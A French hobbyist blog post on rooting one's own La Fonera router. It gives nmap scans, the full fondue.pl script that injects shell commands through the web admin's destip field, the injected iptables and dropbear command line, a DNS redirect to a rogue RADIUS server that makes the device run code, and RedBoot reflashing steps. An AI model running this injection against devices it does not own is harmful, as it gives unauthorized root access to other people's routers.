Jouer avec « La Fonera… » – 2ème partie : Hacker la Fonera
~ Ouverture du port ssh ~

Dans un précédent billet, je vous ai parlé de la Fonera et de son pingouin embarqué. Après cette petite présentation, il est temps de commencer à triturer doucement la bête. Voyons comment ouvrir un shell et accéder au système.
Commençons par un petit inventaire des ports ouverts… On ne sait jamais, un telnet ou un ssh pourrait écouter sur l’une ou l’autre des interfaces…
Sur l’interface wifi publique (FON_AP), pas de surprise… Seul le port 80 est ouvert, très certainement pour le portail captif. Ca, c’est quand même plutôt rassurant
root@sinna~# route
Table de routage IP du noyau
Destination Passerelle Genmask Indic Metric Ref Use Iface
192.168.182.0 * 255.255.255.0 U 0 0 0 wlan0
link-local * 255.255.0.0 U 1000 0 0 eth0
default 192.168.182.1 0.0.0.0 UG 0 0 0 wlan0
root@sinna:~# nmap 192.168.182.1
Starting Nmap 4.53 ( http://insecure.org ) at 2008-03-22 09:23 CET
Interesting ports on 192.168.182.1:
Not shown: 1713 filtered ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:18:XX:XX:XX:XX (FON)
Nmap done: 1 IP address (1 host up) scanned in 8.700 seconds
Après authentification sur le portail captif, c’est le port 53 qui est ouvert, ce qui confirme bien notre hypothèse.
root@sinna:~# nmap 192.168.182.1
Starting Nmap 4.53 ( http://insecure.org ) at 2008-03-22 09:29 CET
Interesting ports on 192.168.182.1:
Not shown: 1713 filtered ports
PORT STATE SERVICE
53/tcp open domain
MAC Address: 00:18:XX:XX:XX:XX (FON)
Nmap done: 1 IP address (1 host up) scanned in 9.047 seconds
Côté interface wifi privée (MyPlace), guère mieux, pas l’ombre d’un poil de ssh ou de telnet…
root@sinna:~# nmap 192.168.10.1
Starting Nmap 4.53 ( http://insecure.org ) at 2008-03-22 09:43 CET
Interesting ports on registerlafonera.fon.com (192.168.10.1):
Not shown: 1711 closed ports
PORT STATE SERVICE
53/tcp open domain80/tcp open http
8080/tcp open http-proxy
MAC Address: 00:18:XX:XX::XX (FON)
Nmap done: 1 IP address (1 host up) scanned in 17.379 seconds
Un dernier nmap sur l’interface ethernet, histoire de boucler la boucle, mais sans y croire.
root@sinna:~# nmap 192.168.7.254
Starting Nmap 4.53 ( http://insecure.org ) at 2008-03-22 09:49 CET
Interesting ports on 192.168.7.254:
Not shown: 1713 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:14:XX:XX:XX:XX (Cisco-Linksys)
Nmap done: 1 IP address (1 host up) scanned in 1.948 seconds
Voilà… Ca, c’est fait !
Quelques lectures, trouvées ici ou là, expliquent comment se logger sur la Fonera en lui bricolant un port série. On va éviter l’accident pour l’instant et laisser de côté le fer à souder, intéressons nous plutôt à des méthodes plus logicielles.
Il existe au moins 3 méthodes qui vont nous permettre d’ouvrir un shell sur notre petite boîte.
-
Les deux premières sont assez simple, mais ne fonctionne qu’avec le modèle 2100. (Ca se passe sous la Fonera pour savoir !)
-
La troisième, un peu plus complexe aura l’avantage de fonctionner avec les modèles plus récents (2200 et sûrement Fonera+).

La méthode par Injection (Modèle 2100)
Cette méthode va consister, en exploitant une faille du serveur HTTP de la version 7.1.1 du firmware, à injecter des commandes qui vont modifier les règles de firewall et lancer le mini serveur ssh dropbear. C’est un script Perl écrit par Michael KEBE et Stefan TOMANEK qui va nous permettre de réaliser cette injection. Le script est téléchargeable ici : http://stefans.datenbruch.de/lafonera/scripts/fondue.pl
Il utilise la library Perl www::Mechanize qui faudra installer si ce n’est pas fait. (aptitude install libwww-mechanize-perl sous Debian ou Ubuntu)
#!/usr/bin/perl # # fondue.pl # # Shell code injector for La Fonera # (local variant, made for 0.7.1-1) # # by Michael Kebe # and Stefan Tomanek # # http://stefans.datenbruch.de/lafonera/ use strict; use warnings; use WWW::Mechanize; use MIME::Base64; sub inject($$$) { my ($ip, $password, $code) = @_; # create a new browser my $browser = WWW::Mechanize->new(autocheck => 1); # admin password #$browser->credentials($ip,"admin",$password); $browser->credentials("admin" => $password); my $auth = MIME::Base64::encode("admin:$password"); $browser->add_header (Authorization=>"Basic $auth"); $browser->get("http://$ip/cgi-bin/webif/adv_pf.sh"); $browser->success() or die "UNABLE TO LOGIN."; $browser->form_number('1'); $browser->field("destip", prepareCode($code)); $browser->click(); $browser->success() or die "CODE INJECTION FAILED."; } sub prepareCode($) { my ($code) = @_; return '$('.$code.')'; } sub readCode() { print STDERR "By your command...\n"; my $code = ""; while () { $code .= $_; } return $code; } sub verifyCode($) { my ($code) = @_; return not ($code =~ /<|>|&|;/); } sub processArgs() { # Retrieve user information from command line my $ip = shift(@ARGV) || die "Usage: fondue.pl IP PASSWORD"; my $password = shift(@ARGV) || die "Usage: fondue.pl IP PASSWORD"; # Read shell code from standard input my $code = readCode(); verifyCode($code) || die "Forbidden characters in command: < > & | ;"; for my $l (split /\n/, $code) { print STDERR "Injecting command »".$l."«...\n"; inject($ip, $password, $l); } print STDERR "Code has been injected.\n"; } processArgs(); |
La fonera se connecte régulièrement (et à chaque démarrage) à « download.fon.com » pour se mettre à jour. Il y a donc fort à parier que notre version du firmware est bien supérieure à 0.7.1.

La première chose à faire va être de remettre la Fonera en configuration d’usine, pour qu’elle retrouve son firmware initial.
Pour cela :
-
Faire en sorte que la Fonera n’accède plus à Internet. Comme nous allons réaliser l’injection par l’interface Wifi privée (MyPlace), nous pouvons tout simplement débrancher le câble réseau. (L’injection fonctionne également par l’interface ethernet).
-
Garder le bouton Reset de la Fonera enfoncé pendant au moins 40 secondes.

Bien ! Il ne nous reste plus qu’à injecter les commandes grâce au script fondue.pl et tenter une connexion par ssh.
$ echo -e '$(/usr/sbin/iptables -I INPUT 1 -p tcp --deport 22 -j ACCEPT)\n$( \
/etc/init.d/dropbear)'| perl ./fondue.pl 192.168.10.1 admin
$ ssh root@192.168.10.1
root@192.168.10.1's password:
BusyBox v1.1.3 (2006.11.21-19:49+0000)
Built-in shell (ash)Enter 'help' for a list of built-in commands.
_______ _______ _______
| ____|| || _ |
| ____|| - || | | |
| | |_______||__| |__|
|___|
Fonera Firmware (Version 0.7.1 rev 1) -------------
*
* Based on OpenWrt - http://openwrt.org
* Powered by FON - http://www.fon.com
---------------------------------------------------
root@OpenWrt:~#
La méthode Kolofonium (modèle 2100)
Cette méthode tire profil d’une faille de l’authentification Radius. Au boot de la Fonera, l’exécutable chilli_radconfig est éxécuté, pour que la Fonera s’authentifie sur le serveur radius de FON : radius01.fon.com.
Comme il est possibile de paramétrer manuellement le réseau de l’interface ethernet (via l’interface WEB), il n’est pas difficile de lui faire utiliser un DNS qui va rediriger « radius01.fon.com » vers la machine de notre choix.
La technique est la suivante :
- Configurer un serveur DNS pour rediriger radius1.fon.com vers une machine de notre réseau (l’utilisation de Dnsmasq peut très bien faire l’affaire si on ne désire pas se lancer dans l’installation et la configuration de bind),
- Installer sur la machine « leure » un serveur radius (xtradius par exemple),
- Configurer le serveur pour qu’il fasse exécuter dropbear à la Fonera après la phase d’authentification.
Tout se travail a été réalisé par Stefan (si si, c’est bien le même que pour la méthode par injection : http://stefans.datenbruch.de/lafonera) sur un serveur public. Il suffit donc d’utiliser le serveur DNS 88.198.165.155 pour que radius01.fon.com pointe vers kolofonium.datenbruch.de, un serveur radius configuré pour faire exécuter dropbear lors du boot de la Fonera.
Concrètement :
-
Remettre la Fonera en configuration d’usine, comme dans le paragraphe précédent,
-
Paramétrer manuellement la connexion réseau de la Fonera pour que l’accès à Internet soit opérationnel, mais en utilisant le serveur DNS : 88.198.165.155,
-
Rebooter la Fonera,
-
Enjoy !!!

Le redémarrage peut prendre quelques minutes…
$ ssh root@192.168.10.1
root@192.168.10.1's password:
BusyBox v1.1.3 (2006.11.21-19:49+0000)
Built-in shell (ash)Enter 'help' for a list of built-in commands.
_______ _______ _______
| ____|| || _ |
| ____|| - || | | |
| | |_______||__| |__|
|___|
Fonera Firmware (Version 0.7.1 rev 1) -------------*
* Based on OpenWrt - http://openwrt.org
* Powered by FON - http://www.fon.com
---------------------------------------------------
root@OpenWrt:~#
La méthode par Redboot (Modèles 2200)
Cette méthode va consister à flasher la fonera, soit avec un ancien firmware permettant l’utilisation d’une des méthodes décrite ci-dessus, soit avec un firmware exécutant directement Dropbear au boot.
Le fichier fonssh.rar est issu du site www.francofon.fr
FrancoFON propose une extension non officielle, mais néanmoins très pratique du Firmware FON qui apporte des fonctionnalités supplémentaires et un paramétrage plus fin de la Fonera. Nous aurons l’occasion d’en reparler dans de prochains articles.
La fonera et le PC doivent être connectés ensemble (par des interfaces ethernet – ie filaires)
- Installer un serveur tftp pour le téléchargement du nouveau firmware (un serveur http devrait aussi faire l’affaire),
- Décompresser le fichier Fonssh.rar contenant le nouveau firmware dans le répertoire « données » du serveur tftp (/var/lib.tftpboot),
- Installer fping et perl-Net-Telnet,
- Récupérer le script perl redboot.pl,
- Eteindre la fonera,
- Configurer une adresse IP en 192.168.1.x sur le PC,
# ifconfig eth0:1 192.168.1.254
- Lancer le script redboot,
$ ./perl redboot.pl 192.168.1.1
192.168.1.1 is unreachable
ICMP Host Unreachable from 192.168.1.254 for ICMP Echo sent to 192.168.1.1
ICMP Host Unreachable from 192.168.1.254 for ICMP Echo sent to 192.168.1.1
ICMP Host Unreachable from 192.168.1.254 for ICMP Echo sent to 192.168.1.1
192.168.1.1 is unreachable
- Rebrancher la Fonera,
ICMP Host Unreachable from 192.168.1.254 for ICMP Echo sent to 192.168.1.1
ICMP Host Unreachable from 192.168.1.254 for ICMP Echo sent to 192.168.1.1
192.168.1.1 is unreachable
192.168.1.1 is unreachable
192.168.1.1 is unreachable
192.168.1.1 is alive
-> == Executing boot script in 1.950 seconds - enter ^C to abort
<- ^C
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
RedBoot>
Nous avons maintenant la main sur le redboot.
- Paramétrer l’adresse IP du serveur (le tftp) et lancer l’initialisation,
RedBoot> ip_address -l 192.168.1.1/24 -h 192.168.1.254 IP: 192.168.1.1/255.255.255.0, Gateway: 0.0.0.0 Default server: 192.168.1.254 RedBoot> fis init About to initialize [format] FLASH image system - continue (y/n)? y *** Initialize FLASH Image System ... Erase from 0xa87e0000-0xa87f0000: . ... Program from 0x80ff0000-0x81000000 at 0xa87e0000: . RedBoot>
- Charger le nouveau noyau et le copier (Cette opération peut prendre quelques minutes…)
RedBoot> load -r -b %{FREEMEMLO} vmlinux.bin.l7
Using default protocol (TFTP)
Raw file loaded 0x80040c00-0x800c0bff, assumed entry at 0x80040c00
RedBoot> fis create -e 0x80041000 -r 0x80041000 vmlinux.bin.l7
/home/alfa/Atheros_Beta5.0/linuxsrc/src/redboot_fon1/ecos/packages/devs/
eth/mips/ar531x/current/src/ae531xecos.c#390:ae531x_send AHB ERROR:
AR531X_DEBUG_ERROR = 00000001
/home/alfa/Atheros_Beta5.0/linuxsrc/src/redboot_fon1/ecos/packages/devs/
eth/mips/ar531x/current/src/ae531xecos.c#393:ae531x_send AHB ERROR
status_4 = 00000555
... Erase from 0xa8030000-0xa80b0000: ........
... Program from 0x80040c00-0x800c0c00 at 0xa8030000: ........
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
RedBoot>
- Créer le système de fichier racine : rootfs (Cette opération peut prendre quelques minutes…)
RedBoot > load -r -b %{FREEMEMLO} root.fs
Using default protocol (TFTP)
Raw file loaded 0x80040c00-0x801bcbff, assumed entry at 0x80040c00
RedBoot> fis create -l 0x06F0000 rootfs
... Erase from 0xa80b0000-0xa87a0000: ...............................................................................................................
... Program from 0x80040c00-0x801bcc00 at 0xa80b0000: ........................
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
- Fin du flash et reboot.
RedBoot> fis load -l vmlinux.bin.l7
/home/alfa/Atheros_Beta5.0/linuxsrc/src/redboot_fon1/ecos/packages/devs/
eth/mips/ar531x/current/src/ae531xecos.c#390:ae531x_send AHB ERROR:
AR531X_DEBUG_ERROR = 00000001
/home/alfa/Atheros_Beta5.0/linuxsrc/src/redboot_fon1/ecos/packages/devs/
eth/mips/ar531x/current/src/ae531xecos.c#393:ae531x_send AHB ERROR
status_4 = 00000145
Image loaded from 0x80041000-0x801ba000
RedBoot> exec
- La fonera devrait redemarrer seule après quelques minutes. Nous pourrons nous y connecter en ssh par l’interface Wifi « MyPlace »
$ ssh root@192.168.10.1
root@192.168.10.1's password:
BusyBox v1.1.3 (2006.11.21-19:49+0000)
Built-in shell (ash)Enter 'help' for a list of built-in commands.
_______ _______ _______
| ____|| || _ |
| ____|| - || | | |
| | |_______||__| |__|
|___|
Fonera Firmware () -------------
*
* Based on OpenWrt - http://openwrt.org
* Powered by FON - http://www.fon.com
---------------------------------------------------
root@OpenWrt:~#
Péréniser l’accès par ssh
- Démarrer automatiquement Dropbear au démarrage de la Fonera
- Ouvrir le port 22 dans les règles de Firewall
root@OpenWrt:~# mv /etc/init.d/dropbear /etc/init.d/S50Dropbear
root@OpenWrt:~# vi /etc/firewall.user
Décommenter les 2 lignes concernant le port 22 dans le fichier /etc/firewall.user :
<span style="color: #800000;">### Open port to WAN ## -- This allows port 22 to be answered by (dropbear on) the router iptables -t nat -A prerouting_rule -i $WAN -p tcp --dport 22 -j ACCEPT iptables -A input_rule -i $WAN -p tcp --dport 22 -j ACCEPT</span> |
La configuration réseau peut ensuite être rétablie pour que les mises à jour du firmware puissent se faire.
Laissez votre message après le bip...Biiiiip
Commentaires
J’ai utilisé la deuxième méthode (celle du DNS) sur une Fonera 2100, avec succés. Par contre, après le second reboot, je n’arrive plus à me connecter.
Je ne comprends pas…
J’ai rajouté un paragraphe supplémentaire : « Péréniser l’accès par ssh », qui explique 2 petites manips pour que dropbear démarre à chaque boot et pour ouvrir le port ssh au niveau des règles de firewall.
Merci ! C’est bien mieux !
Peux-t’on rémetter un DNS plus « conventionnel » après la manip ou faut-il laisser le DNS truqué ?
Tu peux remettre un DNS plus « conventionnel », comme tu dis, C’est même recommandé (après s’être assuré que dropbear démarre bien et est accessible après chaque reboot) pour que les mises à jour FON se fassent automatiquement.
Si tu veux installer le Firmware Francofon, il faut une version récente du Firmware FON pour que l’installation fonctionne sans problème.
[...] avons vu, dans la 2ème partie de “Jouer avec ‘La Fonera’”, comment activer ssh sur une Fonera, afin d’accéder au système de la [...]



[...] 2ème partie : Hacker la Fonera [...]